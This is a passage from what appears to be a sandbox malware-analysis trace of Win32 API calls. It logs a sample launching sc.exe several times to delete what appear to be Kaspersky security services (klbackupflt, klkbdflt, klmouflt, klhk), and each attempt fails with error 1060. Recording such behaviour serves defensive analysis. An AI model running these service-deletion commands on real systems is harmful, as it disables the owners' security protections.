lpSystemTimeAsFileTime=0x28f830 | out: lpSystemTimeAsFileTime=0x28f830*(dwLowDateTime=0x43395a10, dwHighDateTime=0x1d62774)) [0072.852] GetCurrentProcessId () returned 0xa80 [0072.852] GetCurrentThreadId () returned 0x34c [0072.852] GetTickCount () returned 0x114985a [0072.852] QueryPerformanceCounter (in: lpPerformanceCount=0x28f838 | out: lpPerformanceCount=0x28f838*=19252724647) returned 1 [0072.852] GetModuleHandleW (lpModuleName=0x0) returned 0xffc70000 [0072.852] __set_app_type (_Type=0x1) [0072.852] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc77228) returned 0x0 [0072.852] __wgetmainargs (in: _Argc=0xffc7b604, _Argv=0xffc7b610, _Env=0xffc7b608, _DoWildCard=0, _StartInfo=0xffc7b050 | out: _Argc=0xffc7b604, _Argv=0xffc7b610, _Env=0xffc7b608) returned 0 [0072.853] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.854] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.854] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.854] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.854] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.854] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.854] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.855] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.855] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.855] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.855] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.855] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.855] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.855] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.855] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.855] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.855] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.855] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.855] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.855] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.855] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.855] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.855] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.855] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.855] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.855] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.855] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.855] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.855] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.855] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.855] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.855] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.855] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x474370 [0072.859] OpenServiceW (hSCManager=0x474370, lpServiceName="klbackupdisk", dwDesiredAccess=0x10000) returned 0x0 [0072.859] GetLastError () returned 0x424 [0072.859] _itow (in: _Dest=0x424, _Radix=2684568 | out: _Dest=0x424) returned="1060" [0072.859] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffc7b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.860] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28f650, nSize=0x2, Arguments=0x28f680 | out: lpBuffer="跀G") returned 0x62 [0072.861] GetFileType (hFile=0x120) returned 0x3 [0072.861] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x478ea0 [0072.861] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x478ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\nG", lpUsedDefaultChar=0x0) returned 98 [0072.861] WriteFile (in: hFile=0x120, lpBuffer=0x478ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28f5f8, lpOverlapped=0x0 | out: lpBuffer=0x478ea0*, lpNumberOfBytesWritten=0x28f5f8*=0x62, lpOverlapped=0x0) returned 1 [0072.861] LocalFree (hMem=0x478ea0) returned 0x0 [0072.861] LocalFree (hMem=0x478dc0) returned 0x0 [0072.861] LocalFree (hMem=0x0) returned 0x0 [0072.861] CloseServiceHandle (hSCObject=0x474370) returned 1 [0072.863] exit (_Code=1060) Thread: id = 95 os_tid = 0x5a8 Process: id = "48" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f5b0000" os_pid = "0xae0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete klbackupflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 96 os_tid = 0xb80 [0072.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fb90 | out: lpSystemTimeAsFileTime=0x16fb90*(dwLowDateTime=0x43407e30, dwHighDateTime=0x1d62774)) [0072.906] GetCurrentProcessId () returned 0xae0 [0072.906] GetCurrentThreadId () returned 0xb80 [0072.906] GetTickCount () returned 0x1149888 [0072.906] QueryPerformanceCounter (in: lpPerformanceCount=0x16fb98 | out: lpPerformanceCount=0x16fb98*=19258163513) returned 1 [0072.906] GetModuleHandleW (lpModuleName=0x0) returned 0xff720000 [0072.906] __set_app_type (_Type=0x1) [0072.906] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff727228) returned 0x0 [0072.907] __wgetmainargs (in: _Argc=0xff72b604, _Argv=0xff72b610, _Env=0xff72b608, _DoWildCard=0, _StartInfo=0xff72b050 | out: _Argc=0xff72b604, _Argv=0xff72b610, _Env=0xff72b608) returned 0 [0072.907] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.909] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.909] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.909] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.909] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.909] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.909] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.909] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.909] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.909] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.909] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.909] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.909] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.909] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.909] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.909] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.909] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.909] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.909] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.910] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.910] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.910] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.910] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.910] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.910] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.910] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.910] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.910] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.910] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.910] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.910] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.910] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.911] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x294370 [0072.914] OpenServiceW (hSCManager=0x294370, lpServiceName="klbackupflt", dwDesiredAccess=0x10000) returned 0x0 [0072.920] GetLastError () returned 0x424 [0072.920] _itow (in: _Dest=0x424, _Radix=1505784 | out: _Dest=0x424) returned="1060" [0072.921] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff72b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.922] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f9b0, nSize=0x2, Arguments=0x16f9e0 | out: lpBuffer="跀)") returned 0x62 [0072.923] GetFileType (hFile=0x120) returned 0x3 [0072.923] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x298ea0 [0072.923] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x298ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n)", lpUsedDefaultChar=0x0) returned 98 [0072.923] WriteFile (in: hFile=0x120, lpBuffer=0x298ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f958, lpOverlapped=0x0 | out: lpBuffer=0x298ea0*, lpNumberOfBytesWritten=0x16f958*=0x62, lpOverlapped=0x0) returned 1 [0072.923] LocalFree (hMem=0x298ea0) returned 0x0 [0072.923] LocalFree (hMem=0x298dc0) returned 0x0 [0072.923] LocalFree (hMem=0x0) returned 0x0 [0072.923] CloseServiceHandle (hSCObject=0x294370) returned 1 [0072.924] exit (_Code=1060) Thread: id = 97 os_tid = 0xb54 Process: id = "49" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f5b5000" os_pid = "0x618" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete klkbdflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 98 os_tid = 0xb24 [0072.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26f970 | out: lpSystemTimeAsFileTime=0x26f970*(dwLowDateTime=0x434a03b0, dwHighDateTime=0x1d62774)) [0072.970] GetCurrentProcessId () returned 0x618 [0072.970] GetCurrentThreadId () returned 0xb24 [0072.970] GetTickCount () returned 0x11498c7 [0072.971] QueryPerformanceCounter (in: lpPerformanceCount=0x26f978 | out: lpPerformanceCount=0x26f978*=19264616975) returned 1 [0072.971] GetModuleHandleW (lpModuleName=0x0) returned 0xffb90000 [0072.971] __set_app_type (_Type=0x1) [0072.971] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffb97228) returned 0x0 [0072.971] __wgetmainargs (in: _Argc=0xffb9b604, _Argv=0xffb9b610, _Env=0xffb9b608, _DoWildCard=0, _StartInfo=0xffb9b050 | out: _Argc=0xffb9b604, _Argv=0xffb9b610, _Env=0xffb9b608) returned 0 [0072.972] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.973] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.973] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.974] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.974] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.974] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.974] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.974] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.974] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.974] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.974] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.974] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.974] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.974] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.974] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.974] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.974] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.974] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.974] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.974] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.974] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.974] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.974] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xd4370 [0072.978] OpenServiceW (hSCManager=0xd4370, lpServiceName="klkbdflt", dwDesiredAccess=0x10000) returned 0x0 [0072.978] GetLastError () returned 0x424 [0072.978] _itow (in: _Dest=0x424, _Radix=2553816 | out: _Dest=0x424) returned="1060" [0072.978] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffb9b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.980] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x26f790, nSize=0x2, Arguments=0x26f7c0 | out: lpBuffer="跀\r") returned 0x62 [0072.980] GetFileType (hFile=0x120) returned 0x3 [0072.980] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0xd8ea0 [0072.980] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0xd8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\r", lpUsedDefaultChar=0x0) returned 98 [0072.980] WriteFile (in: hFile=0x120, lpBuffer=0xd8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x26f738, lpOverlapped=0x0 | out: lpBuffer=0xd8ea0*, lpNumberOfBytesWritten=0x26f738*=0x62, lpOverlapped=0x0) returned 1 [0072.980] LocalFree (hMem=0xd8ea0) returned 0x0 [0072.980] LocalFree (hMem=0xd8dc0) returned 0x0 [0072.980] LocalFree (hMem=0x0) returned 0x0 [0072.980] CloseServiceHandle (hSCObject=0xd4370) returned 1 [0072.982] exit (_Code=1060) Thread: id = 99 os_tid = 0xb2c Process: id = "50" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3f1d1000" os_pid = "0xb88" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete klmouflt" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 100 os_tid = 0xac8 [0073.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16f9d0 | out: lpSystemTimeAsFileTime=0x16f9d0*(dwLowDateTime=0x4355ea90, dwHighDateTime=0x1d62774)) [0073.041] GetCurrentProcessId () returned 0xb88 [0073.041] GetCurrentThreadId () returned 0xac8 [0073.041] GetTickCount () returned 0x1149915 [0073.041] QueryPerformanceCounter (in: lpPerformanceCount=0x16f9d8 | out: lpPerformanceCount=0x16f9d8*=19271638067) returned 1 [0073.041] GetModuleHandleW (lpModuleName=0x0) returned 0xff2b0000 [0073.041] __set_app_type (_Type=0x1) [0073.041] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff2b7228) returned 0x0 [0073.041] __wgetmainargs (in: _Argc=0xff2bb604, _Argv=0xff2bb610, _Env=0xff2bb608, _DoWildCard=0, _StartInfo=0xff2bb050 | out: _Argc=0xff2bb604, _Argv=0xff2bb610, _Env=0xff2bb608) returned 0 [0073.042] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.044] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.044] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.044] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.044] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.044] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.044] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.044] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.044] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.044] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.044] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.044] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.044] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.044] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.045] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.045] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.045] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.045] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.045] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.045] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.045] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.045] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.045] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.045] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.045] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.045] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.045] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.045] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.045] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.045] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.045] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.045] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.045] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x274370 [0073.049] OpenServiceW (hSCManager=0x274370, lpServiceName="klmouflt", dwDesiredAccess=0x10000) returned 0x0 [0073.049] GetLastError () returned 0x424 [0073.049] _itow (in: _Dest=0x424, _Radix=1505336 | out: _Dest=0x424) returned="1060" [0073.049] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff2bb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.051] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x16f7f0, nSize=0x2, Arguments=0x16f820 | out: lpBuffer="跀'") returned 0x62 [0073.051] GetFileType (hFile=0x120) returned 0x3 [0073.051] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x278ea0 [0073.051] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x278ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n'", lpUsedDefaultChar=0x0) returned 98 [0073.052] WriteFile (in: hFile=0x120, lpBuffer=0x278ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x16f798, lpOverlapped=0x0 | out: lpBuffer=0x278ea0*, lpNumberOfBytesWritten=0x16f798*=0x62, lpOverlapped=0x0) returned 1 [0073.052] LocalFree (hMem=0x278ea0) returned 0x0 [0073.052] LocalFree (hMem=0x278dc0) returned 0x0 [0073.052] LocalFree (hMem=0x0) returned 0x0 [0073.052] CloseServiceHandle (hSCObject=0x274370) returned 1 [0073.053] exit (_Code=1060) Thread: id = 101 os_tid = 0xac4 Process: id = "51" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x3e7da000" os_pid = "0xa3c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x6a4" cmd_line = "sc delete klhk" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 102 os_tid = 0xac0 [0073.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcfdb0 | out: lpSystemTimeAsFileTime=0xcfdb0*(dwLowDateTime=0x435f7010, dwHighDateTime=0x1d62774)) [0073.101] GetCurrentProcessId () returned 0xa3c [0073.101] GetCurrentThreadId () returned 0xac0 [0073.101] GetTickCount () returned 0x1149953 [0073.101] QueryPerformanceCounter (in: lpPerformanceCount=0xcfdb8 | out: lpPerformanceCount=0xcfdb8*=19277675568) returned 1 [0073.101] GetModuleHandleW (lpModuleName=0x0) returned 0xffc40000 [0073.101] __set_app_type (_Type=0x1) [0073.101] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffc47228) returned 0x0 [0073.102] __wgetmainargs (in: _Argc=0xffc4b604, _Argv=0xffc4b610, _Env=0xffc4b608, _DoWildCard=0, _StartInfo=0xffc4b050 | out: _Argc=0xffc4b604, _Argv=0xffc4b610, _Env=0xffc4b608) returned 0 [0073.102] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.104] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0073.104] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0073.104] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0073.104] _wcsicmp (_String1="delete", _String2="query") returned -13 [0073.104] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0073.104] _wcsicmp (_String1="delete", _String2="start") returned -15 [0073.104] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0073.104] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0073.104] _wcsicmp (_String1="delete", _String2="control") returned 1 [0073.104] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0073.104] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0073.104] _wcsicmp (_String1="delete", _String2="config") returned 1 [0073.104] _wcsicmp (_String1="delete", _String2="description") returned -7 [0073.104] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0073.104] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0073.104] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0073.104] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0073.104] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0073.104] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0073.104] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0073.104] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0073.104] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0073.104] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0073.105] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0073.105] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0073.105] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0073.105] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0073.105] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0073.105] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0073.105] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0073.105] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0073.105] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x184360 [0073.108] OpenServiceW (hSCManager=0x184360, lpServiceName="klhk", dwDesiredAccess=0x10000) returned 0x0 [0073.108] GetLastError () returned 0x424 [0073.109] _itow (in: _Dest=0x424, _Radix=850968 | out: _Dest=0x424) returned="1060" [0073.109] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffc4b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0073.110] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcfbd0, nSize=0x2, Arguments=0xcfc00 | out: lpBuffer="趰\x18") returned 0x62 [0073.110] GetFileType (hFile=0x120) returned 0x3 [0073.110] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x188e90 [0073.110] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x188e90, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x18", lpUsedDefaultChar=0x0) returned 98 [0073.110] WriteFile (in: hFile=0x120, 